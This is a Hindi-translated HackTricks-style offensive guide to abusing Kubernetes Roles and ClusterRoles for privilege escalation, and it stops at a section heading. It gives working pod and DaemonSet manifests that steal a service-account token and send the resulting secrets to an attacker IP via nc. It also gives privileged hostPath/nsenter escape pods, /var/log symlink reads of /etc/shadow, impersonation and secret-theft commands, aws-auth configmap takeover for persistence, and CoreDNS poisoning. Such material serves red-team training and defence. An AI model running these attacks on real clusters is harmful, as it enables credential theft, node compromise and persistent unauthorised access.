Kubernetes में Roles/ClusterRoles का दुरुपयोग

Reading time: 30 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यहाँ आप कुछ संभावित खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।
याद रखें कि आप kubectl api-resources के साथ सभी समर्थित संसाधन प्राप्त कर सकते हैं।

विशेषाधिकार वृद्धि

इसका मतलब है क्लस्टर के भीतर एक अलग प्रिंसिपल तक विभिन्न विशेषाधिकारों के साथ पहुँच प्राप्त करना (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से 4 मुख्य तकनीकें हैं:

  • अन्य उपयोगकर्ता/समूह/एसए को प्रतिनिधित्व करने में सक्षम होना जिनके पास kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
  • पॉड्स बनाना/पैच करना/कार्यक्रम चलाना जहाँ आप kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार वाले एसए को पाना या संलग्न कर सकते हैं
  • गुप्त पढ़ने में सक्षम होना क्योंकि एसए टोकन गुप्त के रूप में संग्रहीत होते हैं
  • एक कंटेनर से नोड पर भागने में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के भीतर क्लाउड में चलने वाले अनुमतियों को चुरा सकते हैं (यदि कोई हो)
  • एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है पॉड में पोर्ट-फॉरवर्ड चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।

किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच

वाइल्डकार्ड (*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है।

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें

RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम उत्पन्न करती हैं:

  1. create: किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है।
  2. list: सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है।
  3. get: सेवा खातों से रहस्यों तक पहुँचने की अनुमति देता है, जो सुरक्षा के लिए खतरा है।
yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना

एक पोड का उदाहरण जो bootstrap-signer सेवा खाते का टोकन चुराएगा और इसे हमलावर को भेजेगा:

yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

निम्नलिखित सभी विशेषाधिकारों को दर्शाता है जो एक कंटेनर हो सकता है:

  • Privileged access (सुरक्षाओं को अक्षम करना और क्षमताओं को सेट करना)
  • Disable namespaces hostIPC and hostPid जो विशेषाधिकारों को बढ़ाने में मदद कर सकते हैं
  • Disable hostNetwork namespace, नोड्स के क्लाउड विशेषाधिकारों को चुराने और नेटवर्कों तक बेहतर पहुंच देने के लिए
  • Mount hosts / inside the container
super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

पॉड बनाएं:

bash
kubectl --token $token create -f mount_root.yaml

एक लाइनर इस ट्वीट से और कुछ अतिरिक्त के साथ:

bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Stealth

आप शायद stealthier होना चाहेंगे, निम्नलिखित पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पोड बनाते हैं तो आप क्या एक्सेस कर पाएंगे:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

आप पिछले विशेषाधिकार प्राप्त पोड कॉन्फ़िगरेशन को बनाने/दुरुपयोग करने के उदाहरण https://github.com/BishopFox/badPods में पा सकते हैं।

Pod Create - Move to cloud

यदि आप create कर सकते हैं एक pod (और वैकल्पिक रूप से एक service account) तो आप cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं एक पोड या सेवा खाते को क्लाउड भूमिकाएँ सौंपकर और फिर इसे एक्सेस करके।
इसके अलावा, यदि आप host network namespace के साथ एक pod बना सकते हैं तो आप node इंस्टेंस की IAM भूमिका चुरा सकते हैं।

अधिक जानकारी के लिए देखें:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

इन अनुमतियों का दुरुपयोग करके एक नया पोड बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।

निम्नलिखित yaml एक डेमनसेट बनाता है और पोड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:

yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec kubernetes में एक संसाधन है जो एक पॉड के अंदर एक शेल में कमांड चलाने के लिए उपयोग किया जाता है। यह कंटेनरों के अंदर कमांड चलाने या एक शेल के अंदर जाने की अनुमति देता है।

इसलिए, यह संभव है कि एक पॉड के अंदर जाएं और SA का टोकन चुरा लें, या एक विशेषाधिकार प्राप्त पॉड में प्रवेश करें, नोड पर भागें, और नोड में सभी पॉड्स के टोकन चुरा लें और (ab)node का उपयोग करें:

bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

note

डिफ़ॉल्ट रूप से, कमांड पॉड के पहले कंटेनर में निष्पादित होता है। kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' के साथ कंटेनर में सभी पॉड्स प्राप्त करें और फिर kubectl exec -it <pod_name> -c <container_name> -- sh के साथ कंटेनर को इंगित करें जहां आप इसे निष्पादित करना चाहते हैं।

यदि यह एक डिस्ट्रोलैस कंटेनर है, तो आप कंटेनरों की जानकारी प्राप्त करने के लिए शेल बिल्ट-इन्स का उपयोग करने या busybox जैसे अपने उपकरणों को अपलोड करने का प्रयास कर सकते हैं: kubectl cp </path/local/file> <podname>:</path/in/container>

port-forward

यह अनुमति एक स्थानीय पोर्ट को निर्दिष्ट पॉड में एक पोर्ट पर अग्रेषित करने की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे अनुप्रयोगों को आसानी से डिबग करना है, लेकिन एक हमलावर इसका दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे DBs) या कमजोर अनुप्रयोगों (वेब?) तक पहुंच प्राप्त कर सकता है:

bash
kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As indicated in this research, यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें होस्ट का /var/log/ डायरेक्टरी माउंटेड है, तो आप कंटेनर से बाहर निकल सकते हैं
यह मूल रूप से इस कारण है कि जब Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है (using kubectl logs <pod>), तो यह पॉड के 0.log फ़ाइल को Kubelet सेवा के /logs/ एंडपॉइंट का उपयोग करके अनुरोध करता है।
Kubelet सेवा /logs/ एंडपॉइंट को उजागर करती है जो मूल रूप से कंटेनर के /var/log फ़ाइल सिस्टम को उजागर कर रही है

इसलिए, एक हमलावर जिसके पास कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:

  • अपने कंटेनर के 0.log फ़ाइल को संशोधित करना (जो आमतौर पर /var/logs/pods/namespace_pod_uid/container/0.log में स्थित होता है) ताकि यह एक सिंबलिंक हो जो /etc/shadow की ओर इशारा करता हो, उदाहरण के लिए। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:
bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • यदि हमलावर के पास nodes/log पढ़ने की अनुमतियाँ हैं, तो वह बस /host-mounted/var/log/sym में / के लिए एक symlink बना सकता है और जब https://<gateway>:10250/logs/sym/ पर पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

एक प्रयोगशाला और स्वचालित शोषण पाया जा सकता है https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly सुरक्षा को बायपास करना

यदि आप भाग्यशाली हैं और उच्च विशेषाधिकार प्राप्त क्षमता CAP_SYS_ADMIN उपलब्ध है, तो आप बस फ़ोल्डर को rw के रूप में फिर से माउंट कर सकते हैं:

bash
mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

जैसा कि इस शोध में कहा गया है, सुरक्षा को बायपास करना संभव है:

yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

जो पिछले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:

yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

विशिष्ट खातों का अनुकरण करना

एक उपयोगकर्ता अनुकरण विशेषता के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है।

बस kubectl कमांड में --as=<username> पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या --as-group=<group> का उपयोग करें एक समूह का अनुकरण करने के लिए:

bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

या REST API का उपयोग करें:

bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

गुप्त सूचनाओं की सूची बनाने की अनुमति एक हमलावर को वास्तव में गुप्त सूचनाओं को पढ़ने की अनुमति दे सकती है REST API एंडपॉइंट तक पहुँचकर:

bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Creating and Reading Secrets

Kubernetes के एक विशेष प्रकार के सीक्रेट kubernetes.io/service-account-token होते हैं जो serviceaccount टोकन को स्टोर करते हैं।
यदि आपके पास सीक्रेट बनाने और पढ़ने की अनुमति है, और आप serviceaccount का नाम भी जानते हैं, तो आप निम्नलिखित तरीके से एक सीक्रेट बना सकते हैं और फिर इससे पीड़ित serviceaccount का टोकन चुरा सकते हैं:

yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

उदाहरण शोषण:

bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

ध्यान दें कि यदि आपको किसी विशेष namespace में secrets बनाने और पढ़ने की अनुमति है, तो पीड़ित serviceaccount भी उसी namespace में होना चाहिए।

एक secret पढ़ना – टोकन IDs का ब्रूट-फोर्सिंग

जब एक हमलावर के पास पढ़ने की अनुमति वाला एक टोकन होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक secrets की सूची विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से जुड़ा होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चर अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) source code के अनुसार।

टोकन एक सीमित 27-चर सेट (bcdfghjklmnpqrstvwxz2456789) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का पता लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना को जन्म दे सकता है।

EncrpytionConfiguration स्पष्ट पाठ में

इस प्रकार की वस्तु में डेटा को स्थिर करने के लिए एन्क्रिप्ट करने के लिए स्पष्ट पाठ कुंजी खोजना संभव है जैसे:

yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Certificate Signing Requests

यदि आपके पास संसाधन certificatesigningrequests में create क्रिया है (या कम से कम certificatesigningrequests/nodeClient में)। आप एक नए नोड का नया CeSR बनाने में सक्षम हैं।

दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है, इसलिए उस मामले में आपको अतिरिक्त अनुमतियों की आवश्यकता नहीं है। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है certificatesigningrequests/approval में अपडेट करना और signers में approve करना, जिसमें resourceName <signerNameDomain>/<signerNamePath> या <signerNameDomain>/* हो।

एक भूमिका का उदाहरण जिसमें सभी आवश्यक अनुमतियाँ हैं:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का दुरुपयोग करके गुप्त जानकारियाँ चुरा सकते हैं और अधिकार बढ़ा सकते हैं

इस पोस्ट और इस एक में GKE K8s TLS बूटस्ट्रैप कॉन्फ़िगरेशन को स्वचालित हस्ताक्षर के साथ कॉन्फ़िगर किया गया है और इसका दुरुपयोग करके एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जाते हैं और फिर उन क्रेडेंशियल्स का उपयोग करके गुप्त जानकारियाँ चुराकर अधिकार बढ़ाए जाते हैं।
यदि आपके पास उल्लेखित अधिकार हैं तो आप वही कर सकते हैं। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारियों तक पहुँचने से रोकता है क्योंकि नोड केवल उन कंटेनरों के गुप्त जानकारियों तक पहुँच सकता है जो उस पर माउंट किए गए हैं।

इसका बायपास करने का तरीका बस यह है कि उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहाँ दिलचस्प गुप्त जानकारियों वाला कंटेनर माउंट किया गया है (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):

bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS (AWS में होना आवश्यक) क्लस्टरों पर kube-system namespace में configmaps को संशोधित करने वाले प्रिंसिपल aws-auth configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं।
आवश्यक क्रियाएँ update और patch हैं, या यदि configmap नहीं बनाया गया है तो create:

bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

warning

आप aws-auth का उपयोग persistence के लिए कर सकते हैं जिससे अन्य खातों के उपयोगकर्ताओं को पहुंच मिलती है।

हालाँकि, aws --profile other_account eks update-kubeconfig --name <cluster-name> एक अलग खाते से काम नहीं करता। लेकिन वास्तव में aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं।
kubectl को काम करने के लिए, बस सुनिश्चित करें कि victims kubeconfig को configure किया गया है और aws exec args में --profile other_account_role जोड़ें ताकि kubectl अन्य खाते के प्रोफाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।

CoreDNS config map

यदि आपके पास kube-system namespace में coredns configmap को संशोधित करने की अनुमति है, तो आप पता डोमेन को संशोधित कर सकते हैं ताकि आप संवेदनशील जानकारी चुराने या दुर्भावनापूर्ण सामग्री इंजेक्ट करने के लिए MitM हमले कर सकें।

आवश्यक क्रियाएँ update और patch हैं coredns configmap (या सभी config maps) पर।

एक नियमित coredns फ़ाइल में कुछ ऐसा होता है:

yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

एक हमलावर इसे डाउनलोड कर सकता है kubectl get configmap coredns -n kube-system -o yaml चलाकर, इसे संशोधित कर सकता है जैसे rewrite name victim.com attacker.com जोड़कर ताकि जब भी victim.com तक पहुंचा जाए, वास्तव में attacker.com वह डोमेन हो जो पहुंचा जाएगा। और फिर इसे लागू करने के लिए kubectl apply -f poison_dns.yaml चलाएं।

एक और विकल्प है कि बस फ़ाइल को संपादित करें kubectl edit configmap coredns -n kube-system चलाकर और परिवर्तन करें।

GKE में वृद्धि करना

K8s अनुमतियों को GCP प्रिंसिपलों को असाइन करने के 2 तरीके हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुंचने के लिए container.clusters.get अनुमति की भी आवश्यकता होती है, या आपको अपना खुद का kubectl कॉन्फ़िग फ़ाइल बनानी होगी (अगले लिंक का पालन करें)।

warning

K8s एपीआई एंडपॉइंट से बात करते समय, GCP ऑथ टोकन भेजा जाएगा। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले जांच करेगा कि प्रिंसिपल (ईमेल द्वारा) क्लस्टर के अंदर कोई पहुंच है या नहीं, फिर यह जांचेगा कि क्या इसकी GCP IAM के माध्यम से कोई पहुंच है
यदि कोई भी इनमें से सत्य है, तो उसे उत्तर दिया जाएगा। यदि नहीं तो GCP IAM के माध्यम से अनुमतियाँ देने का सुझाव देने वाला एक त्रुटि दिया जाएगा।

फिर, पहला तरीका GCP IAM का उपयोग करना है, K8s अनुमतियों के उनके समान GCP IAM अनुमतियाँ हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।

GCP - Container Privesc

दूसरा तरीका है क्लस्टर के अंदर K8s अनुमतियों को असाइन करना उपयोगकर्ता की पहचान उसके ईमेल द्वारा करना (GCP सेवा खातों सहित)।

सेवा खाता टोकन बनाना

प्रिंसिपल जो TokenRequests (serviceaccounts/token) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी यहां)।

ephemeralcontainers

प्रिंसिपल जो update या patch pods/ephemeralcontainers कर सकते हैं, वे अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं, और संभावित रूप से अपने नोड से बाहर निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।

ValidatingWebhookConfigurations या MutatingWebhookConfigurations

प्रिंसिपल जिनके पास validatingwebhookconfigurations या mutatingwebhookconfigurations पर create, update या patch में से कोई भी क्रिया है, वे ऐसे webhookconfigurations में से एक बना सकते हैं ताकि वे अनुमतियों को बढ़ा सकें

एक mutatingwebhookconfigurations उदाहरण के लिए इस पोस्ट के इस अनुभाग की जांच करें

वृद्धि करना

जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: निर्मित विशेषाधिकार वृद्धि रोकथाम, एक प्रिंसिपल नई अनुमतियों के बिना भूमिकाओं या क्लस्टर भूमिकाओं को न तो अपडेट कर सकता है और न ही बना सकता है। सिवाय इसके कि उसके पास roles या clusterroles पर क्रिया escalate या * हो और संबंधित बाइंडिंग विकल्प।
तब वह नई भूमिकाओं, क्लस्टर भूमिकाओं को बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।

नोड्स प्रॉक्सी

प्रिंसिपल जिनके पास nodes/proxy उपसंसाधन तक पहुंच है, वे Kubelet API के माध्यम से पॉड्स पर कोड निष्पादन कर सकते हैं (अनुसार यहां)। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:

Kubelet Authentication & Authorization

आपके पास Kubelet API से अधिकृत बात करते हुए RCE प्राप्त करने का एक उदाहरण यहां है

पॉड्स को हटाना + अस्थायी नोड्स

